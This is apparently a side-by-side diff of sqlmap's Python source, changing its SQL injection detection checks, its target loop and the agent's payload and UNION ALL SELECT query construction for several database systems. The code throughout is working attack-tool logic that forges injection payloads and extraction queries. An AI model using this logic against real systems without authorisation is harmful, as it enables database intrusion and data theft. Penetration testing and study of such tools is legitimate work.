logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult: if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A')) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "confirming LIKE double quoted string injection " infoMsg = "confirming LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult: if falseResult != True:
logMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE double quoted string injectable " infoMsg += "LIKE double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg) logger.info(infoMsg)
return "likedouble" return "likedouble"
logMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE double quoted string injectable" infoMsg += "LIKE double quoted string injectable"
logger.info(logMsg) logger.info(infoMsg)
return None return None
@@ -217,18 +255,18 @@ def checkDynParam(place, parameter, value):
dynamicity might depend on another parameter. dynamicity might depend on another parameter.
""" """
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
randInt = randomInt() randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt)) payload = agent.payload(place, parameter, value, str(randInt))
dynResult1 = Request.queryPage(payload, place) dynResult1 = Request.queryPage(payload, place)
if kb.defaultResult == dynResult1: if True == dynResult1:
return False return False
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg) logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr()) payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place) dynResult2 = Request.queryPage(payload, place)
@@ -236,8 +274,8 @@ def checkDynParam(place, parameter, value):
payload = agent.payload(place, parameter, value, "\"%s" % randomStr()) payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place) dynResult3 = Request.queryPage(payload, place)
condition = kb.defaultResult != dynResult2 condition = True != dynResult2
condition |= kb.defaultResult != dynResult3 condition |= True != dynResult3
return condition return condition
@@ -253,19 +291,28 @@ def checkStability():
like for instance string matching (--string). like for instance string matching (--string).
""" """
logMsg = "testing if the url is stable, wait a few seconds" infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(logMsg) logger.info(infoMsg)
firstResult = Request.queryPage() firstPage, _ = Request.queryPage(content=True)
time.sleep(0.5) time.sleep(1)
secondPage, _ = Request.queryPage(content=True)
secondResult = Request.queryPage() condition = firstPage == secondPage
time.sleep(0.5)
thirdResult = Request.queryPage() if condition == True:
conf.md5hash = md5hash(firstPage)
condition = firstResult == secondResult logMsg = "url is stable"
condition &= secondResult == thirdResult logger.info(logMsg)
elif condition == False:
warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's "
warnMsg += "manual paragraph 'Page comparison' and provide a "
warnMsg += "string or regular expression to match on"
logger.warn(warnMsg)
return condition return condition
@@ -283,11 +330,11 @@ def checkString():
if condition: if condition:
return True return True
logMsg = "testing if the provided string is within the " infoMsg = "testing if the provided string is within the "
logMsg += "target URL page content" infoMsg += "target URL page content"
logger.info(logMsg) logger.info(infoMsg)
page = Request.queryPage(content=True) page, _ = Request.queryPage(content=True)
if conf.string in page: if conf.string in page:
setString() setString()
@@ -301,16 +348,53 @@ def checkString():
return False return False
def checkRegexp():
if not conf.regexp:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("Regular expression") and
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
)
if condition:
return True
infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if re.search(conf.regexp, page, re.I | re.M):
setRegexp()
return True
else:
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
errMsg += "match, but such a regular expression does not have any "
errMsg += "match within the target URL page content, please provide "
errMsg += "another regular expression."
logger.error(errMsg)
return False
def checkConnection(): def checkConnection():
logMsg = "testing connection to the target url" infoMsg = "testing connection to the target url"
logger.info(logMsg) logger.info(infoMsg)
try: try:
kb.defaultResult = Request.queryPage() page, _ = Request.getPage()
conf.seqMatcher.set_seq1(page)
except sqlmapConnectionException, exceptionMsg: except sqlmapConnectionException, exceptionMsg:
if conf.googleDork: exceptionMsg = str(exceptionMsg)
if conf.multipleTargets:
exceptionMsg += ", skipping to next url" exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg) logger.warn(exceptionMsg)
return False return False
else: else:
raise sqlmapConnectionException, exceptionMsg raise sqlmapConnectionException, exceptionMsg

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -29,13 +29,13 @@ from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam from lib.controller.checks import checkDynParam
from lib.controller.checks import checkStability from lib.controller.checks import checkStability
from lib.controller.checks import checkString from lib.controller.checks import checkString
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection from lib.controller.checks import checkConnection
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection from lib.core.session import setInjection
from lib.core.target import createTargetDirs from lib.core.target import createTargetDirs
@@ -52,9 +52,9 @@ def __selectInjection(injData):
message += "one to use to go ahead:\n" message += "one to use to go ahead:\n"
for i in xrange(0, len(injData)): for i in xrange(0, len(injData)):
injPlace = injData[i][0] injPlace = injData[i][0]
injParameter = injData[i][1] injParameter = injData[i][1]
injType = injData[i][2] injType = injData[i][2]
message += "[%d] place: %s, parameter: " % (i, injPlace) message += "[%d] place: %s, parameter: " % (i, injPlace)
message += "%s, type: %s" % (injParameter, injType) message += "%s, type: %s" % (injParameter, injType)
@@ -64,8 +64,8 @@ def __selectInjection(injData):
message += "\n" message += "\n"
message += "[q] Quit\nChoice: " message += "[q] Quit"
select = readInput(message, default="0") select = readInput(message, default="0")
if not select: if not select:
index = 0 index = 0
@@ -92,28 +92,44 @@ def start():
""" """
if conf.url: if conf.url:
kb.targetUrls.add(conf.url) kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
if conf.configFile and not kb.targetUrls: if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set " errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url properly" errMsg += "the target url, list of targets or google dork"
logger.error(errMsg) logger.error(errMsg)
if kb.targetUrls and len(kb.targetUrls) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
logger.info(infoMsg)
hostCount = 0 hostCount = 0
injData = []
receivedCookies = []
cookieStr = "" cookieStr = ""
setCookieAsInjectable = True setCookieAsInjectable = True
for targetUrl in kb.targetUrls: for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
if conf.googleDork: conf.url = targetUrl
hostCount += 1 conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
injData = []
message = "url %d: %s, " % (hostCount, targetUrl) if conf.multipleTargets:
message += "do you want to test this url? [Y/n/q] " hostCount += 1
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data:
message += "\nPOST data: %s" % conf.data
message += "\ndo you want to test this url? [Y/n/q]"
test = readInput(message, default="Y") test = readInput(message, default="Y")
if test[0] in ("n", "N"): if not test:
pass
elif test[0] in ("n", "N"):
continue continue
elif test[0] in ("q", "Q"): elif test[0] in ("q", "Q"):
break break
@@ -121,10 +137,9 @@ def start():
logMsg = "testing url %s" % targetUrl logMsg = "testing url %s" % targetUrl
logger.info(logMsg) logger.info(logMsg)
conf.url = targetUrl
initTargetEnv() initTargetEnv()
if not checkConnection() or not checkString(): if not checkConnection() or not checkString() or not checkRegexp():
continue continue
for _, cookie in enumerate(conf.cj): for _, cookie in enumerate(conf.cj):
@@ -157,22 +172,10 @@ def start():
__testableParameters = True __testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType: if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string: if not conf.string and not conf.regexp and not conf.eRegexp:
if checkStability(): # NOTE: this is not needed anymore, leaving only to display
logMsg = "url is stable" # a warning message to the user in case the page is not stable
logger.info(logMsg) checkStability()
else:
errMsg = "url is not stable, try with --string option, refer "
errMsg += "to the user's manual paragraph 'String match' "
errMsg += "for details"
if conf.googleDork:
errMsg += ", skipping to next url"
logger.warn(errMsg)
continue
else:
raise sqlmapConnectionException, errMsg
for place in conf.parameters.keys(): for place in conf.parameters.keys():
if not conf.paramDict.has_key(place): if not conf.paramDict.has_key(place):
@@ -181,13 +184,23 @@ def start():
paramDict = conf.paramDict[place] paramDict = conf.paramDict[place]
for parameter, value in paramDict.items(): for parameter, value in paramDict.items():
if not checkDynParam(place, parameter, value): testSqlInj = True
# Avoid dinamicity test if the user provided the
# parameter manually
if parameter in conf.testParameter:
pass
elif not checkDynParam(place, parameter, value):
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter) warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
logger.warn(warnMsg) logger.warn(warnMsg)
testSqlInj = False
else: else:
logMsg = "%s parameter '%s' is dynamic" % (place, parameter) logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg) logger.info(logMsg)
if testSqlInj == True:
for parenthesis in range(0, 4): for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter logMsg += "parameter '%s' with " % parameter
@@ -201,30 +214,41 @@ def start():
break break
else: else:
warnMsg = "%s parameter '%s' is not " % (place, parameter) infoMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable with %d parenthesis" % parenthesis infoMsg += "injectable with %d parenthesis" % parenthesis
logger.warn(warnMsg) logger.info(infoMsg)
if not injData:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if not kb.injPlace or not kb.injParameter or not kb.injType: if not kb.injPlace or not kb.injParameter or not kb.injType:
if len(injData) == 1: if len(injData) == 1:
injDataSelected = injData[0] injDataSelected = injData[0]
elif len(injData) > 1: elif len(injData) > 1:
injDataSelected = __selectInjection(injData) injDataSelected = __selectInjection(injData)
elif conf.multipleTargets:
continue
else: else:
return return
if injDataSelected == "Quit": if injDataSelected == "Quit":
return return
else: else:
kb.injPlace, kb.injParameter, kb.injType = injDataSelected kb.injPlace, kb.injParameter, kb.injType = injDataSelected
setInjection() setInjection()
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ): if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable" raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType: elif kb.injPlace and kb.injParameter and kb.injType:
condition = False condition = False
if conf.googleDork: if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] " message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y") exploit = readInput(message, default="Y")

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -55,9 +55,11 @@ def setHandler():
for dbmsAliases, dbmsEntry in dbmsMap: for dbmsAliases, dbmsEntry in dbmsMap:
if conf.dbms and conf.dbms not in dbmsAliases: if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping to test for %s" % dbmsNames[count] debugMsg = "skipping test for %s" % dbmsNames[count]
logger.debug(debugMsg) logger.debug(debugMsg)
count += 1 count += 1
continue continue
dbmsHandler = dbmsEntry() dbmsHandler = dbmsEntry()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -33,7 +33,6 @@ from lib.core.data import kb
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent: class Agent:
@@ -47,24 +46,32 @@ class Agent:
temp.stop = randomStr(6) temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None): def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
""" """
This method replaces the affected parameter with the SQL This method replaces the affected parameter with the SQL
injection statement to request injection statement to request
""" """
retValue = "" falseValue = ""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
elif falseCond == True or conf.paramFalseCond == True:
randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1)
# After identifing the injectable parameter # After identifing the injectable parameter
if kb.injPlace == "User-Agent": if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter, retValue = kb.injParameter.replace(kb.injParameter,
kb.injParameter + newValue) "%s%s" % (negValue, kb.injParameter + falseValue + newValue))
elif kb.injParameter: elif kb.injParameter:
paramString = conf.parameters[kb.injPlace] paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace] paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter] value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value), retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s" % (kb.injParameter, value + newValue)) "%s=%s%s" % (kb.injParameter, negValue, value + falseValue + newValue))
# Before identifing the injectable parameter # Before identifing the injectable parameter
elif parameter == "User-Agent": elif parameter == "User-Agent":
@@ -77,6 +84,14 @@ class Agent:
return retValue return retValue
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, string): def prefixQuery(self, string):
""" """
This method defines how the input string has to be escaped This method defines how the input string has to be escaped
@@ -86,17 +101,20 @@ class Agent:
query = "" query = ""
if kb.injType == "numeric": if conf.prefix:
pass query = conf.prefix
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else: else:
raise sqlmapNoneDataException, "unsupported injection type" if kb.injType == "numeric" or conf.postfix:
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None: if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis) query += "%s " % (")" * kb.parenthesis)
query += string query += string
@@ -113,25 +131,28 @@ class Agent:
randStr = randomStr() randStr = randomStr()
if comment: if comment:
string += "%s" % comment string += comment
if kb.parenthesis != None: if conf.postfix:
string += " AND %s" % ("(" * kb.parenthesis) string += " %s" % conf.postfix
else: else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis" if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if kb.injType == "numeric": if kb.injType == "numeric":
string += "%d=%d" % (randInt, randInt) string += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle": elif kb.injType == "stringsingle":
string += "'%s'='%s" % (randStr, randStr) string += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle": elif kb.injType == "likesingle":
string += "'%s' LIKE '%s" % (randStr, randStr) string += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble": elif kb.injType == "stringdouble":
string += "\"%s\"=\"%s" % (randStr, randStr) string += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble": elif kb.injType == "likedouble":
string += "\"%s\" LIKE \"%s" % (randStr, randStr) string += "\"%s\" LIKE \"%s" % (randStr, randStr)
else: else:
raise sqlmapNoneDataException, "unsupported injection type" raise sqlmapNoneDataException, "unsupported injection type"
return string return string
@@ -166,8 +187,11 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
nulledCastedField = queries[kb.dbms].cast % field if field.startswith("(CASE"):
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField nulledCastedField = field
else:
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
return nulledCastedField return nulledCastedField
@@ -220,27 +244,64 @@ class Agent:
def getFields(self, query): def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectCase = re.search("\ASELECT\s+(\(CASE WHEN\s+.+\s+END\))", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I) fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
fieldsNoSelect = query fieldsNoSelect = query
if fieldsSelectTop: if fieldsSelectTop:
fieldsToCast = fieldsSelectTop.groups()[0] fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct: elif fieldsSelectDistinct:
fieldsToCast = fieldsSelectDistinct.groups()[0] fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0]
elif fieldsSelectFrom: elif fieldsSelectFrom:
fieldsToCast = fieldsSelectFrom.groups()[0] fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect: elif fieldsSelect:
fieldsToCast = fieldsSelect.groups()[0] fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsNoSelect: elif fieldsNoSelect:
fieldsToCast = fieldsNoSelect fieldsToCastStr = fieldsNoSelect
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query): def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
if kb.dbms == "MySQL":
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
concatenatedQuery = "%s||%s" % (query1, query2)
elif kb.dbms == "Microsoft SQL Server":
concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery
def concatQuery(self, query, unpack=True):
""" """
Take in input a query string and return its processed nulled, Take in input a query string and return its processed nulled,
casted and concatenated query string. casted and concatenated query string.
@@ -266,53 +327,67 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
concatQuery = "" if unpack == True:
query = query.replace(", ", ",") concatenatedQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCast) castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatQuery = query.replace(fieldsToCast, castedFields, 1) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
concatenatedQuery = query
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
if kb.dbms == "MySQL": if kb.dbms == "MySQL":
if fieldsSelectFrom: if fieldsSelectCase:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1) concatenatedQuery += ",'%s')" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
concatQuery += ",'%s')" % temp.stop concatenatedQuery += ",'%s')" % temp.stop
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatenatedQuery, temp.stop)
elif kb.dbms in ( "Oracle", "PostgreSQL" ): elif kb.dbms in ( "PostgreSQL", "Oracle" ):
if fieldsSelectFrom: if fieldsSelectCase:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1) concatenatedQuery += "||'%s'" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
concatQuery += "||'%s'" % temp.stop concatenatedQuery += "||'%s'" % temp.stop
if kb.dbms == "Oracle":
concatQuery += " FROM DUAL"
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop) concatenatedQuery = "'%s'||%s||'%s'" % (temp.start, concatenatedQuery, temp.stop)
if kb.dbms == "Oracle": if kb.dbms == "Oracle" and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
concatQuery += " FROM DUAL" concatenatedQuery += " FROM DUAL"
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
if fieldsSelectFrom: if fieldsSelectTop:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery += "+'%s'" % temp.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
elif fieldsSelect: elif fieldsSelect:
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
concatQuery += "+'%s'" % temp.stop concatenatedQuery += "+'%s'" % temp.stop
elif fieldsNoSelect: elif fieldsNoSelect:
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop) concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop)
return concatQuery return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None): def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
""" """
Take in input an query (pseudo query) string and return its Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query. processed UNION ALL SELECT query.
@@ -343,11 +418,22 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
inbandQuery = self.prefixQuery("UNION ALL SELECT ") inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
if not exprPosition: if not exprPosition:
exprPosition = kb.unionPosition exprPosition = kb.unionPosition
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"): if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")] inbandQuery = inbandQuery[:-len(" FROM DUAL")]
@@ -356,30 +442,124 @@ class Agent:
inbandQuery += ", " inbandQuery += ", "
if element == exprPosition: if element == exprPosition:
if " FROM " in query: if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.rindex(" FROM ") conditionIndex = query.index(" FROM ")
inbandQuery += "%s" % query[:conditionIndex] inbandQuery += query[:conditionIndex]
else: else:
inbandQuery += "%s" % query inbandQuery += query
else: else:
inbandQuery += "NULL" inbandQuery += nullChar
if " FROM " in query: if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
